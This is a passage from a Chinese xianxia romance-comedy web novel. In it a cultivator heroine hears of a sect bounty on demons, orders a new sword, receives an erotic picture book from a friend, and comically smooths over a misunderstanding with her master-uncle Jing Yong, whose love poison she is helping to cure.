受完伤回来,只要不是不治会死的重症,就不会特意浪费疗伤丹药,而是采用最朴实无华的养伤方式,皮肉伤就缠个纱布,行动不便就拄个拐。 反正都是经历过锻体期的修士,皮糙肉厚的,就算腿摔断了,要不了几天就能好, 只是,宋清宁这次伤得比往常都要严重。 宋清宁顾不上解释自己这副惨状,只一味惊奇地看着贺流虹,仿佛不敢相信眼前这一幕是真的,上上下下打量她,“你一直没消息,我们都说你可能是被镇妖塔一战殃及自身,不幸殒命了。” 贺流虹叹道:“此事说来话长,我有些难言之隐,不方便告知你。” 宋清宁被缠得像个粽子,说起话来有些艰难,笑起来的声音也不太聪明的样子,“能回来就好。” 贺流虹问道:“清宁师姐,我不在的时候,有人进了我屋子,好像在找什么东西,你有看到什么可疑的人吗?” 宋清宁左右看了看,震惊道:“遭贼了?丢了多少?” 贺流虹说:“什么都没丢。” “这就奇怪了,会不会是你误会了,也许有人走错了屋子?” 贺流虹坚决摇头:“连我花了大价钱从炼器师那儿买的门锁都被强行拆掉了,屋子里到处都有被翻动过的痕迹,走错屋子的人做不出这种事吧。” 宋清宁回忆道:“我半个月前出的门,我记得那个时候你的门还是锁得好好的。” 说到这里,她转过身,背对着贺流虹站了一会儿,脑袋缓慢地左右转动,嘴里发出的声音越发含糊不清:“但是我回来时负伤太重,神志不清,直接就去床上躺着了,没注意到你那边什么情况。” 两人住在外门最高的那座峰的峰顶上,位置偏僻,外门的人修为低微,不愿意往这么高的地方走。 既然住在对门的师姐也不清楚,那就更不可能有其他人证。天玄宗也不会为了这桩小事专门升堂查案。 贺流虹有点郁闷地抓了几下头发,决定不在这种暂时无能为力的事情上浪费心神,无奈看了师姐一眼:“总之我先跟长老说一下吧。能查出来最好,查不出来也没办法。” 宋清宁也点点头,又问:“你还要走吗?” 贺流虹回了一声“是”,从储物袋里拿出一个小药瓶,递了过去,道:“清宁师姐,上次我出门,多亏你替我做了外门任务,我一直没找到机会向你道谢。” 宋清宁“呜呜”了两声,“好师妹,我好感动,难为你还记着我。不过这瓶药就不必了,咱俩就是互帮互助,别这么见外。” 贺流虹把东西塞她手上,劝道:“你这次伤得严重,就别省着了,吃颗回春丹吧。” 宋清宁又“呜呜”了两声,显然是又感动到了,连忙将丹药吃进嘴里,“这份情我记着,等我过两天再出趟门,赚笔大的,请你吃香喝辣。” 贺流虹瞧着她虽狼狈但神采奕奕,就知道事情没那么简单,“怎么了,听你的口气,外面有赚钱的大项目?” “你还不知道?”宋清宁疑惑地看着她,“你这些天是与世隔绝了吗,各大门派联合发了悬赏令,不限次数不限人数不用报名,只要杀一只妖族,带上证明就能去任意门派领取一百灵石,四阶以上,额外奖励四万,五阶五万,六阶以上, 可以拿着妖丹自己提要求,想要什么都好说。” 贺流虹眼睛明亮得吓人,“这么大手笔?” 那她从前辛辛苦苦在野外打死的妖怪算什么,一只耗子精最多才挣五块灵石。 怎么在神月峰待了几个月,一出来后妖族身价猛涨数十倍了? 她再次确认道:“你先说,现在一颗下品辟谷丹还是五十块灵石,对吧?” 修真界没有短短数月之间货币贬值,对吧。 宋清宁吃完回春丹,身上的伤已经快痊愈了,丢了拐杖,动作灵活地拍了下她的肩膀,“我知道你在担心什么,一开始我也以为是大型诈骗,但是悬赏任务上面有六大宗门一起盖上的印契,绝对如假包换。” 贺流虹本来都心如止水打算老实待在神月峰了,但现在又馋了,感觉无数灵石正在离自己远去。 等她出狱,也不知道还有没有坚强存活下来的妖族帮她赚钱。 她惆怅道:“那现在所有人岂不是都杀疯了,妖族还有的剩吗,应该都躲回他们老家不敢再出来了吧。” “事情的源头就出在这里,妖族上个月倾巢出动了,妖尊带着所有部下走出了迷雾森林,一起涌入仙门地界,扬言要为死在琼华真人手上的那只大妖报仇。” 贺流虹一时间不知道该害怕还是该高兴。 妖族倾巢出动,冲着琼华真人来的,那不就等于是间接冲着她来的。先把她杀了,天玄宗还有琼华真人一定会很绝望吧。 可是那么多妖,那得值多少灵石啊? 她感谢师姐带来的重大消息,急急忙忙离开了。 这次她长了教训,将屋子里所有值钱的东西都装进芥子袋,带出了门。 芥子袋里变得拥挤,金月气鼓鼓地准备钻出来,又被她强行按回去,锁好袋口。 离开外门,她直奔金玉满堂。 巧合的是,值班弟子和她当初接悬赏时是同一个,更巧合的是,对方也还记得她,一见到就说出了和宋清宁一样的话:“你还活着?” 看样子,知道她当初行踪的人都觉得她死在镇妖塔附近了。 她淡定从容地点头:“对,我还活着。” 没等到她开口询问,对方就拿出一袋灵石递过去,道:“这是那位发悬赏的师兄留在这儿的,他说他忽然联系不上你了,要是你还能活着回到这儿,不管任务完没完成,这些报酬都归你了。” 贺流虹拿起来一掂量,六百灵石只多不少,顿时感觉夙愿已了,长长舒了一口气。 走出金玉满堂,她又顺路去了一趟炼器堂。 妖族倾巢出动,她身为仙门的一份子,必然是要尽快了却身后事,提剑上场杀敌,守卫正道啊! 所以她的武器也该提前准备上了,免得到时候被一把破剑拖后腿。 炼器堂门口,赵炎炎还是像往常一样在摆摊做生意。 生意尤为火爆,排起一条长长的队伍。 贺流虹站在队伍后面左等右等,队伍仍然还是很长,正在犹豫要不要奢侈一回,多花点钱去别的地方买。 金月趁她走神,偷偷钻出芥子袋,绕着场上飞了一圈,落在她肩膀上。 这一变动吸引了在场大部分人的目光。 很多人刚刚才看过金月在天上飞的样子,现在对着这只小红鸟,只觉得有点眼熟,但是无论如何也不会和琼华真人的坐骑联系到一起。 贺流虹身上仍然穿着外门弟子的服饰,引来众人好奇的目光。 有人过来找她打听,“师妹,你这灵宠好可爱,我怎么没见过还有这样的灵宠,哪里得来的。” 金月得意地叽叽喳喳起来。 贺流虹张嘴胡诌:“路边捡的,太笨了没人要,我看在它漂亮的份上顺手养了。” “天呐师妹你运气也太好了,什么时候让我也捡一只这样的漂亮笨蛋。” 金月歪着鸟头,眼神有点迷糊,不知道是该继续得意,还是该给这人扇倒在地。 贺流虹的肩膀被人拍了一下,听到熟悉的声音:“贺师妹,你怎么出来了?” 赵炎炎知道她一直活得好好的,不过,对于她的突然出现,同样感到惊奇。 虽然“所有人”都知道了琼华真人的倒霉事,但是这个“所有人”不包括无数普普通通的弟子,他们是没有太多渠道了解那些秘密的。 赵炎炎留下几个师妹替她看守摊位,不动声色将贺流虹从人群中拉走,进了屋子,关上门窗。 贺流虹恭喜她:“生意兴隆,财源滚滚。” 提到这个,赵炎炎挺开心,“你在神月峰,怕是不知道,妖族不安分,要跨越迷雾森林,六大宗门要给他们点颜色瞧瞧,发了斩妖悬赏,很多人赚了灵石要升级法器,让我也赚上了。” 贺流虹笑道:“刚好,我也是来让师姐赚钱的,看在咱俩过命的交情上,让我插个队吧好师姐。” 赵炎炎随意一摆手,“这当然没问题,肯定先给你安排上。” 她很困惑地看着贺流虹,“只是,掌门让人悄悄告诉我,说你得了机缘,在神月峰跟随小师叔一起修行,让我不必为你担心。但是师父说小师叔中的是迷情散,所以我可能下次见你是在几百年后。” 贺流虹想起来自己曾经为了离开神月峰,搬出了炼器堂赵师姐这个“至亲好友”,希望掌门能同意。 她将自己的遭遇说出来,赵炎炎听得心有余悸:“好险,你差点就真的在被关在里面几百年了。幸好你争气,这么快就出来找我,让我赚钱。” 贺流虹感慨着:“是啊,希望下次真正被放出来的时候,妖族还没被灭族,让我也抓几个坏妖怪,赚点钱。” 赵炎炎摇头叹气:“照你说的,你不小心把小师叔给得罪了,你每次都是吃了上顿没下顿。小师叔不愿意让你,你也是只能干着急啊。所以出来杀妖族赚灵石的事,怕是有点难度。” 大多数普通弟子都对妖族倾巢出动的行为感到兴奋大过恐慌,认为是天赐的赚灵石良机,在很多人看来,妖族早就没落,为了一个被关在镇妖塔数千年的大妖,搭上全族,实在是冲动又愚蠢。 贺流虹还不到考虑这种天下大势的时候,她还走在脱贫致富路上。 她把芥子袋里的灵矿石拿出来,说:“事已至此,走一步看一步,这是我攒了很久的炼器原材料,就请师姐先帮我炼制一把新武器吧。” 她对武器不挑,天玄宗大部分人练剑,发给外门弟子的免费武器也是一把剑,所以她就拿来用了,现在再改练别的也没必要,但是她现在手上充裕不少,这把新的本命剑倒是可以按照喜好定制一下。 赵炎炎和她敲定了细节,记录在纸上,最后话题又绕回她身上,替她犯愁:“你到底是怎么得罪小师叔的,他怎么说也是化神期,你每天在他眼皮子底下讨生活,这都过的是什么生不如死的苦日子。” 贺流虹坦言道:“那也不至于,我们毕竟还是要神交的,我要是生不如死了,他们就该担心我玉石俱焚了。” 赵炎炎的眉头舒展了一些,放弃了打上神月峰解救至亲好友的打算。 那可是修真界第一美人,谁不知道神交时顺便发生点什么都是无可厚非,她可不能坏了至亲好友的美事。 贺流虹又叹道:“哎,就是无聊,每天也没有赚灵石的机会,也不能一直修炼,除了神交,就只能玩一玩小师叔的鸟。” 赵炎炎的眼睛散发出异样的神采:“小师叔的……鸟,小师叔的鸟?你每天都玩小师叔的鸟?” 贺流虹:“…………我说的是我肩膀上这只鸟。” 她指了指自己的左肩。 赵炎炎干笑了两声:“哈,哈哈,对啊,我说的也是这个意思啊,小师叔的鸟真漂亮,是叫金鸟对吧,比我师父那只漂亮多了。” 贺流虹:“是叫金月,不是鸟。” 赵炎炎继续干笑。 贺流虹劝道:“赵师姐,你少看点涩图吧。” 金月打着瞌睡,猛然发现两个人都在盯着它,茫然地眨着小黑豆眼。 赵炎炎抱着纯粹的心情欣赏了一下可爱小鸡,然后站起来说道:“你 等我一下。” 她跑到角落里,又很快跑回来,郑重其事地把揣在怀里的一卷画册塞到贺流虹手上,压低声音道:“新出的作品,同一个作者,依旧美味,神月峰日子无聊,师姐送你打发时间。” 贺流虹低头瞧一眼封面,“咦,这怎么好像换主角了?” 赵炎炎哼了一声:“还不是周无疾那个畜生,到处说那是对他师尊不敬,害得其他门派的人都不敢买,影响了销量,作者改画佛子了。” 说到这里她又兴奋地笑起来,满脸赞叹:“佛莲转世,禅宗圣子,好味!人家禅宗可比他坦荡多了,说这叫淫者见淫,你觉得画上是谁,你看到的就是谁,再说,佛祖都能割肉喂鹰,佛子脱一脱衣服,满足一下道友的眼睛又怎么了。” 贺流虹顿悟了。什么叫通透,这就是通透啊! “好书,我收下了,带回去慢慢学习参悟。” 赵炎炎一副老成持重的神情,点了下头:“去吧,放心大胆地看,这次不用担心被抓了。” 第27章 第27章看黄图还能有什么正当原…… 贺流虹带着书和鸟,准备低调地返回神月峰。 金月像是忽然爱上了万众瞩目的感觉,刚离开了炼器堂不远,就故态复萌,带着她飞上天。 这只鸟唯恐地面上的人错过它的英姿,一路伸着脖子嗷嗷乱叫,偶尔还要猛然来个俯冲,贴着地面飞过,留给看热闹的人一鼻子灰和几根鸟毛。 体型变大之后,不仅羽毛颜色变了,连嗓音也变得格外粗犷,贺流虹捂着耳朵,丢不起这个人,躲进它厚实的羽毛当中,祈祷不要被人看到她。 这天之后天玄宗的人都在流传着一个说法,神凤金月把周无疾从神月峰扔出去之后,回程的路上特别高兴,由此可见,琼华真人果然是被迫收下这个徒弟的,否则不会连他的坐骑也巴不得把人丢掉。 贺流虹被一只鸟驮着飞了半天,几乎是将整个天玄宗都巡逻了一遍,被高空的冷空气冻得蜷缩成一团,骂骂咧咧地回到神月峰。 洞府里的天还是亮着的,但是贺流虹今天不想再去找小师叔,她还没从那阵寒意中缓过来。 稍微受了点凉,不会有什么大问题,但是也不能放任不管,要是因此身体出了点小毛病,影响到神交就不好了。 她掰了半颗回春丹吃下去,泡了个热水澡,钻进被窝,蒙头就睡。 醒来之后,身体感觉舒服多了,外面传来宁逢等人的说话声,伴随着熟悉的鸟叫。 金月不肯回自己的巢,留在她和医修们的住处,到处找人讨吃的,吃完还会来两嗓子表示感谢。 宁逢简直将它当成一只鹦鹉在调校,充满耐心地教它说话。 贺流虹见有人照看小师叔的鸟,忍不住偷了个懒,赖在床上不想起来,两只手臂绕到后面枕着脑袋,放空了一会儿。 穿越到这个地方之后,她很少有机会什么也不用做什么也不用想,只纯粹地发呆浪费时间。 没出片刻,她又闲不住地坐起来,尝试继续修炼。 意识将沉入丹府,没找到金丹的影子,鼻血先流了下来。 她赶紧停下来,一边擦鼻血,一边告诫自己要听劝,没事别拿自身安危开玩笑。 既然如此,那就观摩学习一下赵师姐送她的礼物吧。 这一观摩,时间飞逝而过。 合上书页,贺流虹感觉脑子里储存的知识又增加了一些。 修真界有这样的作者,实在是天大的幸事。 人的脑子是怎么想出那些离奇的东西的,佛子怎么那么顽强,到最后都还没被玩坏的。 太黄了,黄到她都有点神志不清,恍恍惚惚总觉得有两道视线在注视着这里,让她怀疑下一秒禅宗就要来抓人。 贺流虹没见过禅宗的佛莲转世,但很肯定这些图上画的不是真正的佛子。 就像上一本书一样,打着修真界第一美人的幌子引诱人花钱,结果翻开一看,和她认识的修真界第一美人两模两样。 修真界第一美人脱光了的样子明明比画上的那男的涩多了。 同理可得,禅宗圣子肯定也比画上的要更加顽强,不容易被万怀疑。 除了画上的主角,贺流虹觉得作者本人都不像在修真界生活过,画上涉及到的种种修真界生活细节都错漏百出,像是只凭想象和猜测捏造出来的。 尽管如此,这个神秘的作者依然赚到了大把大把的修真者的灵石。 贺流虹自愧不如。 她正琢磨着要不要转职画修,宁逢在外面敲门,问:“我能进来吗?” 贺流虹应了一声。 宁逢来给她送药,嘴里说道:“师父给你换了一下药方,能够滋养经脉,效果好的话,以后就按照每份五百灵石公开售卖吧。” 贺流虹又想,要不还是转职医修吧,医修好,医修赚钱堂堂正正不用下海。 宁逢转身准备离开,余光瞥见她摊开在一边的画册,捂住嘴压低声音惊喜道:“天哪,这个作者出新图了?” 贺流虹欣慰地看向她,“原来你也是一个有品位的人。” 医仙谷师徒几人比贺流虹进神月峰还要早,外面的涩图更新换代了,宁逢却还不知道,哀嚎道:“我连上次那本都还没来得及看完,这就已经出新书了,我到底错过了多少精彩。” 她刚说完,窗户外面传来“梆梆梆”的声音,听上去像一只鸟在用鸟嘴用力敲窗。 贺流虹打开窗。 金月飞进来,和她四目相对,叽叽喳喳地叫了一会儿。 贺流虹从那双小眼睛里看到了埋怨。 算算时间,她已经在屋子里待了一天一夜,快要忘了自己饲养员的身份。 小红鸟抱怨了一会儿,丢给她一颗丹药,是一颗回春丹。 贺流虹不解道:“给我这个干什么?” 小红鸟又叽叽喳喳叫了几声,贺流虹听不懂,想问问宁逢为什么还没教会它开口说话,连教会一只鸟说话都做不到,怎么成为未来医圣。 不过,这回春丹都给她了,她也没有退回去的道理,默默收进芥子袋。 金月进了屋子就到处巡逻了一圈,最后停在那本摊开的画册上面,小黑豆眼睛疯狂转动,似乎有些难以消化眼前接受到的信息。 宁逢这两天和它混熟了,怕它在上面拉屎,将它拎到一边,嘿嘿笑着继续翻看起来,嘴里评价道:“佛子看起来也好美味哦。之前那个仙尊也是,不愧是从第一美人身上得到的灵感,让我大饱眼福,哪怕只得你小师叔三分神采,也是人间绝色啊,啧啧啧。” 贺流虹拧了拧眉头,挑剔道:“也就那样吧,我不爱看那个,挺索然无味的。” 她满意地摸了摸宁逢手上这本,意味深长地笑道:“还是佛子玩起来有意思呀。” 宁逢:“嘿嘿嘿。” 金月往两人面前蹦了几下,凑近来歪着脑袋左看右看,似懂非懂。 两人顾及到它毕竟是个开了灵智的,又是琼华真人的灵宠兼任坐骑,没再继续色心大发。 贺流虹记挂起正事,把书留给宁逢继续看,对小红鸟说道:“我们去看看你主人吧。” 金月率先一步夺窗而出,将她丢在后面,好像赶着要去做什么重要的事情。 贺流虹算一算时间,又过去好几天了,小师叔这回总算已经做好“万全准备”了吧。 她不紧不慢走到楼前。 意外的是,这次小师叔既不在洗澡也不在闭关,正站在门前,好像是专门等着她来。 不知是不是她的错觉,她感觉小师叔的脸有些红,胸口起伏也比平日更加剧烈,看向她的目光也有些犀利。 她有些不明就里,站在原地犹豫了一下,没有继续上前。 金月没有任何迟疑,一见到主人,就飞了过去,停在他肩上,凑到他耳朵边嘀嘀咕咕,还时不时扭头瞧瞧贺流虹。 这架势看上去又像是在告贺流虹的状。 怪不得刚才跑得那么急,原来早就记上仇了。 贺流虹这几天沉迷看图,确实没有尽到饲养员的责任,但是宁逢她们明明帮她把金月照 看得很好,这只鸟也没受委屈。 总是一上来就道歉也不是办法,只会助长这只鸟的气焰。 她装作什么都没有看见,眨着茫然的双眼,向美人开口打招呼:“师叔,你在等我啊?” 景雍与金月结过主宠契约,是能通过神识理解这只神鸟的思想的。 金月一顿叽叽喳喳,他该知道的不该知道的都知道了。 她几天不来露面,将他全然忘在一旁,躲在房中看别人的那种画也就罢了,她还说“他”索然无味。 比起看他,她宁愿躲在房中看几张画。 无论是他这个人,还是关于“他”的画,都不足以引起她的兴趣吗? 难怪他放在芥子袋的那本画册虽然被改变了位置,但是并没有太多被翻动过的痕迹。 想必那日她只看了几眼,就“索然无味”地放回去了。 哪里比得过让她足足欣赏了几天几夜的禅宗圣子。 贺流虹发现他的身体在微微颤栗,不确定地瞧了一眼他肩上的小红鸟。 难不成这只鸟告状告成了? 不会吧,这对主宠看起来感情也没有这么好吧。 景雍飞快瞟她一眼,一肚子话到了嘴边,被她这副状况外的样子给堵回去,脸憋得更红,胸口更加急促地起伏着,两只手在袖中攥成了拳头。 她根本不知道她做了什么过分的事,她在床榻间反复欺辱他还不够,还转头就对旁人兴趣盎然,难怪从来不肯给他一点他所希冀的温柔,原来是因为他无趣,不值得小心翼翼。 贺流虹上上下下地打量了他好几遍,得出结论:“小师叔,你情毒又发作了?” 喘得这么厉害,脸也像是着火了,身体颤抖站立不稳,跟她印象中的几次情毒发作的表现十分相像。 景雍万没想到,她思考半天却问出这么一句。 他明明是在生气,她却觉得他想要她。 这实在是让他羞愤欲绝。 于是他愤愤地一甩袖,转身回屋。 贺流虹连忙跟上,由于看了几天涩图被涩到头晕眼花,一不小心就踢到门板,脚趾传来的疼痛让她倒吸一口凉气。 进了门,景雍就后悔起来,他听见身后传来的动静,想起来上次将她恐吓到的经历。 他如今又没收敛住脾气,害得她惶惶不安。 只是,此时回头主动求和,他仍然觉得有些委屈。 明明是她先做了那些事,说了那些话,每次说来就来,想走就走,即便留在他身边,也只是为了那最明显的目的,除此之外,与他说什么做什么都是多此一举。 想到这里他又匆匆往内室走了几步,不愿再让对方看见这副心境动摇心慌意乱的神态。 贺流虹一只脚蹦来蹦去,实在有点累,追不上来去如风的化神期美人,索性就不追了,扶着门框停在原地,提高了声音喊道:“我道歉!小师叔,我道歉!” 那只鸟和它的主人一起回过头,隐隐有所期待地看向她。 她真情实意地说道:“小师叔,我知道我不该为了看黄图忽略你的鸟,但是我这么做是有原因的。” 景雍暗自松了一口气,有些焦急地追问:“什么原因?” 贺流虹看天看地,差点急得抓耳挠腮。 都怪她一时情急话说太快了,她也没想好能有什么说得过去的原因。 看黄图还能有什么正当原因,色心大发就是唯一的原因。 她支支吾吾,扭扭捏捏,委委屈屈,灵机一动:“因为太想念小师叔美丽迷人的身体,但又不知小师叔何时才能再次同意和我共度良宵,所以我只能通过看一些艺术作品来纾解心中对于小师叔的强烈渴望。” 景雍的耳尖悄悄变红,不知所措地站在那里。 贺流虹把自己说服了,重重点了下头,强调道:“对,事实就是这样。” 第28章 第28章可以做,但不可以看吗…… 那只鸟歪了歪脑袋,看一眼不远处的贺流虹,又看一眼近处的景雍。 它毛茸茸的小脑瓜想不明白,自己的主人怎么刚刚还在又羞又愤又伤心,短短数息之间,这会儿就只剩下了羞,以及一丝极为隐秘的、连他本人怕是也没察觉到的欣喜。 贺流虹打量着这一人一鸟,不确定主宠俩接没接受她的解释。 看黄图,人之常情。她相信换个人是一定能理解她的。 但对面这俩既不是常人,也不是常鸟。 迟迟等不到美人表态,她怕自己说多错多,只好做出诚惶诚恐的模样,低着头轻声开口:“那我就先不在这儿碍师叔的眼了,我这就回去好好反思自己的错误。” 她说着转身欲走。 景雍下意识地喊道:“你别走。”等他意识到自己语气中的祈求,整个人越发窘迫起来,恨不得立即躲进身后的内室,将自己藏好。 贺流虹很好说话,停下脚步,眼睛一眨不眨地看了他一会儿,好奇地等着他的下文。 景雍不肯放弃这么好的和解机会,红着耳朵矢口否认:“我并没有责备你的意思,你……你这么做也情有可原。” 贺流虹差点感动得掉眼泪,可怜巴巴地追问他:“真的吗,小师叔,你也觉得我看黄图是情有可原吗?我就知道你会理解我,所以你可以继续和我神……” “但也实在有些荒唐。”景雍慌忙阻止她接下来可以预见的问题,作义正辞严状,“我是你的师叔,神交也只是权宜之计,你怎可因此迷恋秽物。” 最重要的是,他是他,画是画,画上的人明明白白显示着与他毫无关系,一丝相像之处都没有。 她嘴上说着对他着迷,对他渴望,却宁愿看几张以旁人做主角的淫画,却不愿来看一看他? 那果然是她说来哄他的假话。 贺流虹看着他一点一点沉下去的脸色,感到有些不妙,垂着眼帘可怜道:“哎,小师叔你果然还是觉得我犯了错,我不该来这里的,这就回去闭门思过。” 景雍既气她说假话哄骗他,又担心她真的一去不回,这绝对是她能做出来的事。 对她来说,他们之间除了神交,没有更值得费心的事,她大可以等掌门或是长老们催促的时候再不情不愿地过来匆匆见他一面,再将他丢在床榻头也不回地走。 “是我言重了,这不是你的错。” 景雍垂首看向地面,强忍着不说出心中的委屈。 他也很后悔,不该心有不甘地用那番话训斥她。 她愿意找借口哄骗他,让他有台阶可下,已经很好了。 就算是为了天玄宗还有师兄,他也绝不该任性行事,因为这点小事与她闹脾气。 于是他又强调道:“我也没有觉得你在这里是碍我的眼,至于画册一事,我、我确实可以理解你,真的不是要责怪你。” 贺流虹若有所思地瞥他几眼,美人说着不怪他,却又依旧愁眉紧锁,这飘忽不定的态度让她摸不着头脑。 她疑问道:“真的吗?那刚刚在门口,你怎么一句话都不说,瞪了我一眼之后,转身就走。” 她看了看对方肩膀上那只小红鸟,“难道不是因为金月跟你告状,说我没有尽心尽力照看它?” 景雍顺着她的视线,瞥了一眼肩上的灵宠,道:“金月也没有要怪你,它很喜欢你,怎么会告你的状。” 贺流虹和小红鸟对视,小红鸟叽叽叽地冲着她叫了一会儿。 她虚心求问:“小师叔,那它到底说了什么,我怎么还是感觉它在骂我。” 景雍眼神闪躲,忍不住有些落寞地开口:“它说,你这几日着迷于其他,对它多有疏忽,它觉得你并没有将它放在心上,所以有些失落。” 说完,便装作若无其事地抚摸着自己的灵宠,不敢去看贺流虹的眼睛。 金月被主人摸脑袋,叫声却越发激动高昂。 贺流虹听来听去,始终觉得这些叫声 和“失落”没有任何关系。 她瞪圆眼睛看着这一幕,很难不去质疑小师叔的翻译水平。 鸟一直吵吵闹闹,景雍被她盯着,更加心虚,轻轻一抬手,将唱反调的灵宠挪出屋外。 屋子里顿时安静多了。 贺流虹愣了两秒,越发看不清这对主宠之间的关系,说他俩感情不好,小鸟告个状就能让师叔气成那样,说感情好,结果这只鸟一眨眼就丢到外面去。 景雍硬着头皮给自己找补:“它难过的时候,就会变得有些聒噪。” 贺流虹想了想,觉得这样也能理解,每个人表达难过的方式不一样,开了灵智的鸟应该也差不多吧。 那么可爱漂亮的小鸡为她难过成这样,她的眼里浮现出几分怜惜,慎重其事地说道:“我下次不会再这样了,一定把它放在心上,还和之前一样陪它。” 景雍将她这句保证当做对自己说的,心里安稳很多。 但又怕她转头回到房间又被那不知廉耻的“佛子”勾引过去,于是没忍住以一副公正无私的口吻劝道:“你年纪还太小,心性不定,还是不要太过沉迷于凡尘俗物,那种藏头露尾之辈所创画作,其心叵测,还是少碰为妙。” 贺流虹嘴上应着:“弟子一定谨记师叔的教诲。” 心里想着,美人装模作样的时候还怪可爱的。 要不是她在对方的芥子袋中发现过同一个“藏头露尾之辈”的涩图,她差点就要信了他的鬼话。 她的语气不自觉带了点调侃:“可是小师叔,那种事情我们明明连做都做了不少次了,却不可以看吗?” 景雍紧紧抿着漂亮的唇,不禁又有些恼火。 和她做的,被她看的,这两个人是同一个吗。 所以……不可以看。 贺流虹怕他又恼羞成怒,继续拖着她不肯神交,迅速改口:“当然,我们之间的事情是不一样的,别人做那些事是污秽堕落,俗不可耐,我与小师叔神交,帮小师叔解情毒,皆是为了天玄宗的未来!为了效忠师门!” 景雍将她慷慨激昂的神情看在眼里,比起之前的支支吾吾,她说起要效忠师门的时候是如此坦荡激动,不带一丝犹豫。 这才是她真正来找他的原因。 她真正渴求的,不是与他神魂交缠肌肤相亲,在她心里,天玄宗应该比他这个小师叔本身重要多了。 他应该感到欣慰,这说明掌门师兄没有看走眼,天玄宗的未来、他的道途确实是把控在一个忠心耿耿的人手上。 “我累了,需要闭关休养,你也回去歇息吧。” 他转过身,轻声开口。 贺流虹看不到他脸上神情,只觉得他声音听上去有气无力,看来是真的累了。 她小声问道:“那我明天再过来?继续帮师叔照顾金月?” 景雍答应了一声:“好。” 贺流虹这一趟走得有惊无险,拍了拍心口给自己压压惊,返回住处。 第二天她早早出现在景雍的窗户下面,捧着一大捧新鲜的花束,高举向头顶,笑道:“小师叔,这回我可没借花献佛了。” 这花是她前几天离开神月峰的时候在外门顺手摘的,是确凿无疑的野生鲜花,放在芥子袋里保鲜到现在,看着仍然像刚从枝头摘下来一样鲜艳欲滴。 景雍的一颗心又砰砰地乱跳起来,嘴角刚扬起一抹笑意,就立刻告诫自己,她做这些只是因为她忠于天玄宗,和到底着不着迷于他这个小师叔本人没有太大关系。 贺流虹见他似笑非笑的,知道他心情差不到哪儿去,抱着花绕过窗下那棵树,乐乐呵呵进了大门。 虽然是无主野花,但是贺流虹一直觉得开得还挺好看的,准备回凡间界时挖上几丛带回去移植在院子里,要是再在旁边放一个美人,那就真是赏心悦目,人间盛景。 她一边在脑海中规划自己退休后的养老生活,一边往屋子里面走,扫视一圈,目光落在花瓶上,“咦”了一声。 花瓶里的花还是她好多天前放进去的,但是到现在还开得好好的,没有凋谢的迹象。 这花瓶就是最普通的花瓶,也不像芥子袋或是加注特殊符文的法器那样能保鲜。 她研究半天,凭借筑基二层的修为,感应到那瓶花上面的一丝化神期灵力,灵力藏匿得很完美,不注意的话,就像不存在。 “小师叔,你干嘛把灵力浪费在两瓶花上面?” 她随口吐槽了一句,将新摘的花放进另一个花瓶。 景雍见她只是顺便一问,提起的心又放下来。既然她没有追问,那他也就装作没有听见,坐在窗边沉默不言。 贺流虹在心里啧啧感叹,小师叔是真爱那些亲手种在洞府里的花,她却差点把它们薅光了,瞧瞧她干的好事。 景雍经过她身边,彷徨片刻,留下一句:“谢谢,花很好看。” 这就算是打了招呼。 他继续去闭关,尝试压制情毒。 贺流虹从涩图上收回心思,继续给小红鸟当饲养员,等待她的神交对象做好下一次的神交准备。 金月擅长自力更生,饲养员除了及时阻止它殴打洞府内其他小动物,没有任何能发挥作用的地方。 贺流虹闲得要命。穷苦的日子过惯了,一闲下来,心就慌。 老谷主的改良药方让她可以继续修炼,但也不能没日没夜。 她每天花小半天时间坐在金月的巢穴附近打坐,尝试凝结金丹,剩下来的时间,就把芥子袋里攒的灵草灵药灵矿拿出来处理加工。 上次回去外门,把家当都带到神月峰了,从前囤了一些灵植和矿石,有些是自己在野外和秘境挖到的,有些是任务报酬,反正都是能换成灵石的值钱东西。 一颗铸剑常用的紫铁石,外表通常包裹着坚硬无比的杂质,需要把这一层外壳敲开,才能得到里面真正有价值的部分。 如果不处理,也可以直接卖出去,但是每公斤价格会少一块灵石。 贺流虹哪里舍得让别人赚这一块钱,坐在湖边哐哐哐地敲石头。 景雍偶尔会被这声音吵到,不得不将悄悄释放出去留意她动向的神识收回来,求个安宁。 贺流虹浑然不知,越敲越有劲。 一块灵石,两块灵石,十块灵石……又是勤劳致富的一天呢! 几天过后,景雍终于按捺不住好奇,出现在湖边。 贺流虹忙得很,百忙之中抽空跟他打了个招呼:“小师叔,你来湖边洗澡吗,我马上就换个地方。” 景雍没想到她还记得这个,不自在地拢了拢领口,确认自己衣服都穿得严实,这才开口:“你这是在做什么?” 贺流虹抬头望了他一眼,几天不见,美人的脸色怎么越休养越苍白了。这可不太好。 但是苍白病容也有苍白病容的风情,她多看了两眼,停下来喝口水,顺便跟美人介绍了一下如何通过勤劳的双手多赚一块灵石。 景雍听过之后,有些吃惊地看着她:“只有一块灵石吗?” 贺流虹点了下头,又道:“紫铁石不好找,我运气比较好,在秘境里捡到很多。别人想多赚这一块灵石还不一定有机会呢。” 景雍第一次听她说这些,很陌生,好像发生在另一个世界,他从小连神月峰都很少离开,更不用说去捡什么紫铁石。 这让他一时不知道该说什么才能跟上她的步调。 “你很想赚到更多灵石吗?” 他问完才意识到这是一个很傻的问题。 没有人不缺灵石,就算是掌门师兄,能将天玄宗千年如一日地运转下去,也是因为有灵石。有灵石才能有修炼资源,才能在推崇实力的修真界立足。 贺流虹一点也不意外他会问出这种问题,趁机又给他算了一笔账,“本来我可以 赚到更多的,现在外面的妖怪命可太值钱了,最低阶的也有一百灵石,但是神月峰一只妖族也没有,我连一块灵石的悬赏也拿不到。” 仙门联合悬赏妖族性命的事情早已人尽皆知,景雍身在神月峰,但外面的消息与他牵连颇深,长老们会及时告知他。 他得知贺流虹有做悬赏的想法,蹙起了眉,“此事对你来说太过危险,妖族如果知道你对我的重要性,不会轻饶你。” 贺流虹一摊手,无奈道:“现在说这些没用,我也出不去神月峰,安全得很。” 她休息够了,又叮叮叮地敲起石头,湖边堆成一座小山。 不能修炼也不能神交的日子,只能干点琐碎力气活,赚点小钱了。 景雍反复咂摸她那句充满无奈的话,生出一丝愧疚。 原来她之所以急着和他神交,除了想替天玄宗分忧,还想尽快离开这里去外面赚灵石。 如果是之前,他或许会背着掌门和长老们偷偷放她出去,让她处理那些更在乎的事。 可是如今妖族出没在仙门地界,充满未知的威胁,实在不是个离开神月峰的好机会。 他有点不好意思地说道:“你别急着神交的事了,耽误你的这些时间,我全都折算成灵石还给你,算作是对你的赔偿。”顿了顿,他又说道:“以及感谢。” 贺流虹本来在专心干活,没空闲聊,听到这话,差点把手上的斧子扔出去。 